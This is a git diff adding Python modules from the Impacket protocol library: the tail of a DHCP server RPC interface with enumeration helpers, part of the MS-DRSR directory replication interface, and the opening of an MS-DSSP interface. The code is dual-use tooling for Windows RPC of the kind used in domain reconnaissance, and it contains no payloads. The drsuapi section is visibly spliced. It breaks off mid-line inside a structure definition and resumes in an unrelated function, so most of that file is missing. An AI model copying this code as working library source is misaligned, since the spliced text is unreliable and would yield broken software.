DHCP_SUBNET_ELEMENT_INFO_ARRAY_V5(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Elements', LPDHCP_SUBNET_ELEMENT_DATA_V5), + ) + +class LPDHCP_SUBNET_ELEMENT_INFO_ARRAY_V5(NDRPOINTER): + referent = ( + ('Data', DHCP_SUBNET_ELEMENT_INFO_ARRAY_V5) + ) + +class DHCP_OPTION_DATA_TYPE(NDRENUM): + class enumItems(Enum): + DhcpByteOption = 0 + DhcpWordOption = 1 + DhcpDWordOption = 2 + DhcpDWordDWordOption = 3 + DhcpIpAddressOption = 4 + DhcpStringDataOption = 5 + DhcpBinaryDataOption = 6 + DhcpEncapsulatedDataOption = 7 + DhcpIpv6AddressOption = 8 + +class DHCP_OPTION_ELEMENT_UNION(NDRUNION): + commonHdr = ( + ('tag', DHCP_OPTION_DATA_TYPE), + ) + union = { + DHCP_OPTION_DATA_TYPE.DhcpByteOption : ('ByteOption', BYTE), + DHCP_OPTION_DATA_TYPE.DhcpWordOption : ('WordOption', WORD), + DHCP_OPTION_DATA_TYPE.DhcpDWordOption : ('DWordOption', DWORD), + DHCP_OPTION_DATA_TYPE.DhcpDWordDWordOption : ('DWordDWordOption', DWORD_DWORD), + DHCP_OPTION_DATA_TYPE.DhcpIpAddressOption : ('IpAddressOption', DHCP_IP_ADDRESS), + DHCP_OPTION_DATA_TYPE.DhcpStringDataOption : ('StringDataOption', LPWSTR), + DHCP_OPTION_DATA_TYPE.DhcpBinaryDataOption : ('BinaryDataOption', DHCP_BINARY_DATA), + DHCP_OPTION_DATA_TYPE.DhcpEncapsulatedDataOption: ('EncapsulatedDataOption', DHCP_BINARY_DATA), + DHCP_OPTION_DATA_TYPE.DhcpIpv6AddressOption : ('Ipv6AddressDataOption', LPWSTR), + } + +class DHCP_OPTION_DATA_ELEMENT(NDRSTRUCT): + structure = ( + ('OptionType', DHCP_OPTION_DATA_TYPE), + ('Element', DHCP_OPTION_ELEMENT_UNION), + ) + +class DHCP_OPTION_DATA_ELEMENT_ARRAY2(NDRUniConformantArray): + item = DHCP_OPTION_DATA_ELEMENT + +class LPDHCP_OPTION_DATA_ELEMENT(NDRPOINTER): + referent = ( + ('Data', DHCP_OPTION_DATA_ELEMENT_ARRAY2), + ) + +class DHCP_OPTION_DATA(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Elements', LPDHCP_OPTION_DATA_ELEMENT), + ) + +class DHCP_OPTION_VALUE(NDRSTRUCT): + structure = ( + ('OptionID', DHCP_OPTION_ID), + ('Value', DHCP_OPTION_DATA), + ) + +class PDHCP_OPTION_VALUE(NDRPOINTER): + referent = ( + ('Data', DHCP_OPTION_VALUE), + ) + +class DHCP_OPTION_VALUE_ARRAY2(NDRUniConformantArray): + item = DHCP_OPTION_VALUE + +class LPDHCP_OPTION_VALUE(NDRPOINTER): + referent = ( + ('Data', DHCP_OPTION_VALUE_ARRAY2), + ) + +class DHCP_OPTION_VALUE_ARRAY(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Values', LPDHCP_OPTION_VALUE), + ) + +class LPDHCP_OPTION_VALUE_ARRAY(NDRPOINTER): + referent = ( + ('Data', DHCP_OPTION_VALUE_ARRAY), + ) + +class DHCP_ALL_OPTION_VALUES(NDRSTRUCT): + structure = ( + ('ClassName', LPWSTR), + ('VendorName', LPWSTR), + ('IsVendor', BOOL), + ('OptionsArray', LPDHCP_OPTION_VALUE_ARRAY), + ) + +class OPTION_VALUES_ARRAY(NDRUniConformantArray): + item = DHCP_ALL_OPTION_VALUES + +class LPOPTION_VALUES_ARRAY(NDRPOINTER): + referent = ( + ('Data', OPTION_VALUES_ARRAY), + ) + +class DHCP_ALL_OPTIONS_VALUES(NDRSTRUCT): + structure = ( + ('Flags', DWORD), + ('NumElements', DWORD), + ('Options', LPOPTION_VALUES_ARRAY), + ) + +class LPDHCP_ALL_OPTION_VALUES(NDRPOINTER): + referent = ( + ('Data', DHCP_ALL_OPTIONS_VALUES), + ) + +################################################################################ +# RPC CALLS +################################################################################ +# Interface dhcpsrv +class DhcpGetSubnetInfo(NDRCALL): + opnum = 2 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SubnetAddress', DHCP_IP_ADDRESS), + ) + +class DhcpGetSubnetInfoResponse(NDRCALL): + structure = ( + ('SubnetInfo', LPDHCP_SUBNET_INFO), + ('ErrorCode', ULONG), + ) + +class DhcpEnumSubnets(NDRCALL): + opnum = 3 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumSubnetsResponse(NDRCALL): + structure = ( + ('ResumeHandle', LPDWORD), + ('EnumInfo', DHCP_IP_ARRAY), + ('EnumRead', DWORD), + ('EnumTotal', DWORD), + ('ErrorCode', ULONG), + ) + +class DhcpGetOptionValue(NDRCALL): + opnum = 13 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('OptionID', DHCP_OPTION_ID), + ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), + ) + +class DhcpGetOptionValueResponse(NDRCALL): + structure = ( + ('OptionValue', PDHCP_OPTION_VALUE), + ('ErrorCode', ULONG), + ) + +class DhcpEnumOptionValues(NDRCALL): + opnum = 14 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumOptionValuesResponse(NDRCALL): + structure = ( + ('ResumeHandle', DWORD), + ('OptionValues', LPDHCP_OPTION_VALUE_ARRAY), + ('OptionsRead', DWORD), + ('OptionsTotal', DWORD), + ('ErrorCode', ULONG), + ) + +class DhcpGetClientInfoV4(NDRCALL): + opnum = 34 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SearchInfo', DHCP_SEARCH_INFO), + ) + +class DhcpGetClientInfoV4Response(NDRCALL): + structure = ( + ('ClientInfo', LPDHCP_CLIENT_INFO_V4), + ('ErrorCode', ULONG), + ) + +class DhcpEnumSubnetClientsV4(NDRCALL): + opnum = 35 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SubnetAddress', DHCP_IP_ADDRESS), + ('ResumeHandle', DWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumSubnetClientsV4Response(NDRCALL): + structure = ( + ('ResumeHandle', LPDWORD), + ('ClientInfo', LPDHCP_CLIENT_INFO_ARRAY_V4), + ('ClientsRead', DWORD), + ('ClientsTotal', DWORD), + ('ErrorCode', ULONG), + ) + +# Interface dhcpsrv2 + +class DhcpEnumSubnetClientsV5(NDRCALL): + opnum = 0 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SubnetAddress', DHCP_IP_ADDRESS), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumSubnetClientsV5Response(NDRCALL): + structure = ( + ('ResumeHandle', DWORD), + ('ClientsInfo', LPDHCP_CLIENT_INFO_ARRAY_V5), + ('ClientsRead', DWORD), + ('ClientsTotal', DWORD), + ) + +class DhcpGetOptionValueV5(NDRCALL): + opnum = 21 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('Flags', DWORD), + ('OptionID', DHCP_OPTION_ID), + ('ClassName', LPWSTR), + ('VendorName', LPWSTR), + ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), + ) + +class DhcpGetOptionValueV5Response(NDRCALL): + structure = ( + ('OptionValue', PDHCP_OPTION_VALUE), + ('ErrorCode', ULONG), + ) + +class DhcpEnumOptionValuesV5(NDRCALL): + opnum = 22 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('Flags', DWORD), + ('ClassName', LPWSTR), + ('VendorName', LPWSTR), + ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumOptionValuesV5Response(NDRCALL): + structure = ( + ('ResumeHandle', DWORD), + ('OptionValues', LPDHCP_OPTION_VALUE_ARRAY), + ('OptionsRead', DWORD), + ('OptionsTotal', DWORD), + ('ErrorCode', ULONG), + ) + +class DhcpGetAllOptionValues(NDRCALL): + opnum = 30 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('Flags', DWORD), + ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), + ) + +class DhcpGetAllOptionValuesResponse(NDRCALL): + structure = ( + ('Values', LPDHCP_ALL_OPTION_VALUES), + ('ErrorCode', ULONG), + ) + +class DhcpEnumSubnetElementsV5(NDRCALL): + opnum = 38 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SubnetAddress', DHCP_IP_ADDRESS), + ('EnumElementType', DHCP_SUBNET_ELEMENT_TYPE), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumSubnetElementsV5Response(NDRCALL): + structure = ( + ('ResumeHandle', DWORD), + ('EnumElementInfo', LPDHCP_SUBNET_ELEMENT_INFO_ARRAY_V5), + ('ElementsRead', DWORD), + ('ElementsTotal', DWORD), + ('ErrorCode', ULONG), + ) + +class DhcpEnumSubnetClientsVQ(NDRCALL): + opnum = 47 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SubnetAddress', DHCP_IP_ADDRESS), + ('ResumeHandle', LPDWORD), + ('PreferredMaximum', DWORD), + ) + +class DhcpEnumSubnetClientsVQResponse(NDRCALL): + structure = ( + ('ResumeHandle', LPDWORD), + ('ClientInfo', LPDHCP_CLIENT_INFO_ARRAY_VQ), + ('ClientsRead', DWORD), + ('ClientsTotal', DWORD), + ('ErrorCode', ULONG), + ) + +class DhcpV4GetClientInfo(NDRCALL): + opnum = 123 + structure = ( + ('ServerIpAddress', DHCP_SRV_HANDLE), + ('SearchInfo', DHCP_SEARCH_INFO), + ) + +class DhcpV4GetClientInfoResponse(NDRCALL): + structure = ( + ('ClientInfo', LPDHCP_CLIENT_INFO_PB), + ('ErrorCode', ULONG), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 0: (DhcpEnumSubnetClientsV5, DhcpEnumSubnetClientsV5Response), + 2: (DhcpGetSubnetInfo, DhcpGetSubnetInfoResponse), + 3: (DhcpEnumSubnets, DhcpEnumSubnetsResponse), + 13: (DhcpGetOptionValue, DhcpGetOptionValueResponse), + 14: (DhcpEnumOptionValues, DhcpEnumOptionValuesResponse), + 21: (DhcpGetOptionValueV5, DhcpGetOptionValueV5Response), + 22: (DhcpEnumOptionValuesV5, DhcpEnumOptionValuesV5Response), + 30: (DhcpGetAllOptionValues, DhcpGetAllOptionValuesResponse), + 34: (DhcpGetClientInfoV4, DhcpGetClientInfoV4Response), + 35: (DhcpEnumSubnetClientsV4, DhcpEnumSubnetClientsV4Response), + 38: (DhcpEnumSubnetElementsV5, DhcpEnumSubnetElementsV5Response), + 47: (DhcpEnumSubnetClientsVQ, DhcpEnumSubnetClientsVQResponse), + 123: (DhcpV4GetClientInfo, DhcpV4GetClientInfoResponse), +} + + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hDhcpGetClientInfoV4(dce, searchType, searchValue): + request = DhcpGetClientInfoV4() + + request['ServerIpAddress'] = NULL + request['SearchInfo']['SearchType'] = searchType + request['SearchInfo']['SearchInfo']['tag'] = searchType + if searchType == DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress: + request['SearchInfo']['SearchInfo']['ClientIpAddress'] = searchValue + elif searchType == DHCP_SEARCH_INFO_TYPE.DhcpClientHardwareAddress: + # This should be a DHCP_BINARY_DATA + request['SearchInfo']['SearchInfo']['ClientHardwareAddress'] = searchValue + else: + request['SearchInfo']['SearchInfo']['ClientName'] = searchValue + + return dce.request(request) + +def hDhcpGetSubnetInfo(dce, subnetaddress): + request = DhcpGetSubnetInfo() + + request['ServerIpAddress'] = NULL + request['SubnetAddress'] = subnetaddress + resp = dce.request(request) + + return resp + +def hDhcpGetOptionValue(dce, optionID, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL): + request = DhcpGetOptionValue() + + request['ServerIpAddress'] = NULL + request['OptionID'] = optionID + request['ScopeInfo']['ScopeType'] = scopetype + if scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions and scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions: + request['ScopeInfo']['ScopeInfo']['tag'] = scopetype + if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: + request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: + request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: + request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumOptionValues(dce, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL, + preferredMaximum=0xffffffff): + request = DhcpEnumOptionValues() + + request['ServerIpAddress'] = NULL + request['ScopeInfo']['ScopeType'] = scopetype + if scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions and scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions: + request['ScopeInfo']['ScopeInfo']['tag'] = scopetype + if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: + request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: + request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: + request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumOptionValuesV5(dce, flags=DHCP_FLAGS_OPTION_DEFAULT, classname=NULL, vendorname=NULL, + scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL, + preferredMaximum=0xffffffff): + request = DhcpEnumOptionValuesV5() + + request['ServerIpAddress'] = NULL + request['Flags'] = flags + request['ClassName'] = classname + request['VendorName'] = vendorname + request['ScopeInfo']['ScopeType'] = scopetype + request['ScopeInfo']['ScopeInfo']['tag'] = scopetype + if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: + request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: + request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: + request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpGetOptionValueV5(dce, option_id, flags=DHCP_FLAGS_OPTION_DEFAULT, classname=NULL, vendorname=NULL, + scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL): + request = DhcpGetOptionValueV5() + + request['ServerIpAddress'] = NULL + request['Flags'] = flags + request['OptionID'] = option_id + request['ClassName'] = classname + request['VendorName'] = vendorname + request['ScopeInfo']['ScopeType'] = scopetype + request['ScopeInfo']['ScopeInfo']['tag'] = scopetype + if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: + request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: + request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: + request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpGetAllOptionValues(dce, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL): + request = DhcpGetAllOptionValues() + + request['ServerIpAddress'] = NULL + request['Flags'] = NULL + request['ScopeInfo']['ScopeType'] = scopetype + request['ScopeInfo']['ScopeInfo']['tag'] = scopetype + if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: + request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: + request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options + elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: + request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumSubnets(dce, preferredMaximum=0xffffffff): + request = DhcpEnumSubnets() + + request['ServerIpAddress'] = NULL + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumSubnetClientsVQ(dce, preferredMaximum=0xffffffff): + request = DhcpEnumSubnetClientsVQ() + + request['ServerIpAddress'] = NULL + request['SubnetAddress'] = NULL + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumSubnetClientsV4(dce, preferredMaximum=0xffffffff): + request = DhcpEnumSubnetClientsV4() + + request['ServerIpAddress'] = NULL + request['SubnetAddress'] = NULL + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumSubnetClientsV5(dce, subnetAddress=0, preferredMaximum=0xffffffff): + request = DhcpEnumSubnetClientsV5() + + request['ServerIpAddress'] = NULL + request['SubnetAddress'] = subnetAddress + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCSessionError as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumSubnetElementsV5(dce, subnet_address, element_type=DHCP_SUBNET_ELEMENT_TYPE.DhcpIpRanges, preferredMaximum=0xffffffff): + request = DhcpEnumSubnetElementsV5() + + request['ServerIpAddress'] = NULL + request['SubnetAddress'] = subnet_address + request['EnumElementType'] = element_type + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp diff --git a/impacket/dcerpc/v5/drsuapi.py b/impacket/dcerpc/v5/drsuapi.py new file mode 100644 index 0000000..a9b1f84 --- /dev/null +++ b/impacket/dcerpc/v5/drsuapi.py @@ -0,0 +1,1521 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-DRSR] Directory Replication Service (DRS) DRSUAPI Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# + +from __future__ import division +from __future__ import print_function +from builtins import bytes +import hashlib +from struct import pack +import six +from six import PY2 + +from impacket import LOG +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUNION, NDR, NDRENUM +from impacket.dcerpc.v5.dtypes import PUUID, DWORD, NULL, GUID, LPWSTR, BOOL, ULONG, UUID, LONGLONG, ULARGE_INTEGER, LARGE_INTEGER +from impacket import hresult_errors, system_errors +from impacket.structure import Structure +from impacket.uuid import uuidtup_to_bin, string_to_bin +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.krb5 import crypto +from pyasn1.type import univ +from pyasn1.codec.ber import decoder +from impacket.crypto import transformKey + +try: + from Cryptodome.Cipher import ARC4, DES +except Exception: + LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") + LOG.critical("See https://pypi.org/project/pycryptodomex/") + +MSRPC_UUID_DRSUAPI = uuidtup_to_bin(('E3514235-4B06-11D1-AB04-00C04FC2DCD2','4.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] + return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + elif key & 0xffff in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1] + return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'DRSR SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 4.1.10.2.17 EXOP_ERR Codes +class EXOP_ERR(NDRENUM): + align = 4 + align64 = 4 + structure = ( + ('Data', '= 16384: + # mark it so that it is known to not be the whole lastValue + lowerWord += 32768 + + upperWord = pos + + attrTyp = ATTRTYP() + attrTyp['Data'] = (upperWord << 16) + lowerWord + return attrTyp + +def OidFromAttid(prefixTable, attr): + # separate the ATTRTYP into two parts + upperWord = attr // 65536 + lowerWord = attr % 65536 + + # search in the prefix table to find the upperWord, if found, + # construct the binary OID by appending lowerWord to the end of + # found prefix. + + binaryOID = None + for j, item in enumerate(prefixTable): + if item['ndx'] == upperWord: + binaryOID = item['prefix']['elements'][:item['prefix']['length']] + if lowerWord < 128: + binaryOID.append(pack('B',lowerWord)) + else: + if lowerWord >= 32768: + lowerWord -= 32768 + binaryOID.append(pack('B',(((lowerWord//128) % 128)+128))) + binaryOID.append(pack('B',(lowerWord%128))) + break + + if binaryOID is None: + return None + return str(decoder.decode(b'\x06' + pack('B',(len(binaryOID))) + b''.join(binaryOID), asn1Spec = univ.ObjectIdentifier())[0]) + +if __name__ == '__main__': + prefixTable = [] + oid0 = '1.2.840.113556.1.4.94' + oid1 = '2.5.6.2' + oid2 = '1.2.840.113556.1.2.1' + oid3 = '1.2.840.113556.1.3.223' + oid4 = '1.2.840.113556.1.5.7000.53' + + o0 = MakeAttid(prefixTable, oid0) + print(hex(o0)) + o1 = MakeAttid(prefixTable, oid1) + print(hex(o1)) + o2 = MakeAttid(prefixTable, oid2) + print(hex(o2)) + o3 = MakeAttid(prefixTable, oid3) + print(hex(o3)) + o4 = MakeAttid(prefixTable, oid4) + print(hex(o4)) + jj = OidFromAttid(prefixTable, o0) + print(jj) + jj = OidFromAttid(prefixTable, o1) + print(jj) + jj = OidFromAttid(prefixTable, o2) + print(jj) + jj = OidFromAttid(prefixTable, o3) + print(jj) + jj = OidFromAttid(prefixTable, o4) + print(jj) diff --git a/impacket/dcerpc/v5/dssp.py b/impacket/dcerpc/v5/dssp.py new file mode 100644 index 0000000..8a646af --- /dev/null +++ b/impacket/dcerpc/v5/dssp.py @@ -0,0 +1,183 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-DSSP] Interface implementation +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dssp +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# Author: +# Simon Decosse (@simondotsh) +# + +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRENUM +from impacket.dcerpc.v5.dtypes import UINT, LPWSTR, GUID +from impacket import system_errors +from impacket.dcerpc.v5.enum import Enum +from impacket.uuid import uuidtup_to_bin + +MSRPC_UUID_DSSP = uuidtup_to_bin(('3919286A-B10C-11D0-9BA8-00C04FD92EF5', '0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return 'DSSP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'DSSP SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.1 DSROLER_PRIMARY_DOMAIN_INFO_BASIC +DSROLE_PRIMARY_DS_RUNNING = 0x00000001 +DSROLE_PRIMARY_DS_MIXED_MODE = 0x00000002 +DSROLE_PRIMARY_DS_READONLY = 0x00000008 +DSROLE_PRIMARY_DOMAIN_GUID_PRESENT = 0x01000000 + +#2.2.5 DSROLE_UPGRADE_STATUS_INFO +DSROLE_UPGRADE_IN_PROGRESS = 0x00000004 + +################################################################################ +# STRUCTURES +################################################################################ +#2.2.2 DSROLE_MACHINE_ROLE +class DSROLE_MACHINE_ROLE(NDRENUM): + class enumItems(Enum): + DsRole_RoleStandaloneWorkstation = 0 + DsRole_RoleMemberWorkstation = 1 + DsRole_RoleStandaloneServer = 2 + DsRole_RoleMemberServer = 3 + DsRole_RoleBackupDomainController = 4 + DsRole_RolePrimaryDomainController = 5 + +# 2.2.1 DSROLER_PRIMARY_DOMAIN_INFO_BASIC +class DSROLER_PRIMARY_DOMAIN_INFO_BASIC(NDRSTRUCT): + structure = ( + ('MachineRole', DSROLE_MACHINE_ROLE), + ('Flags', UINT), + ('DomainNameFlat', LPWSTR), + ('DomainNameDns', LPWSTR), + ('DomainForestName', LPWSTR), + ('DomainGuid', GUID), + ) + +class PDSROLER_PRIMARY_DOMAIN_INFO_BASIC(NDRPOINTER): + referent = ( + ('Data', DSROLER_PRIMARY_DOMAIN_INFO_BASIC), + ) + +# 2.2.4 DSROLE_OPERATION_STATE +class DSROLE_OPERATION_STATE(NDRENUM): + class enumItems(Enum): + DsRoleOperationIdle = 0 + DsRoleOperationActive = 1 + DsRoleOperationNeedReboot = 2 + +# 2.2.3 DSROLE_OPERATION_STATE_INFO +class DSROLE_OPERATION_STATE_INFO(NDRSTRUCT): + structure = ( + ('OperationState', DSROLE_OPERATION_STATE), + ) + +class PDSROLE_OPERATION_STATE_INFO(NDRPOINTER): + referent = ( + ('Data', DSROLE_OPERATION_STATE_INFO), + ) + +# 2.2.6 DSROLE_SERVER_STATE +class DSROLE_SERVER_STATE(NDRENUM): + class enumItems(Enum): + DsRoleServerUnknown = 0 + DsRoleServerPrimary = 1 + DsRoleServerBackup = 2 + +class PDSROLE_SERVER_STATE(NDRPOINTER): + referent = ( + ('Data', DSROLE_SERVER_STATE), + ) + +# 2.2.5 DSROLE_UPGRADE_STATUS_INFO +class DSROLE_UPGRADE_STATUS_INFO(NDRSTRUCT): + structure = ( + ('OperationState', UINT), + ('PreviousServerState', DSROLE_SERVER_STATE), + ) + +class PDSROLE_UPGRADE_STATUS_INFO(NDRPOINTER): + referent = ( + ('Data', DSROLE_UPGRADE_STATUS_INFO), + ) + +# 2.2.7 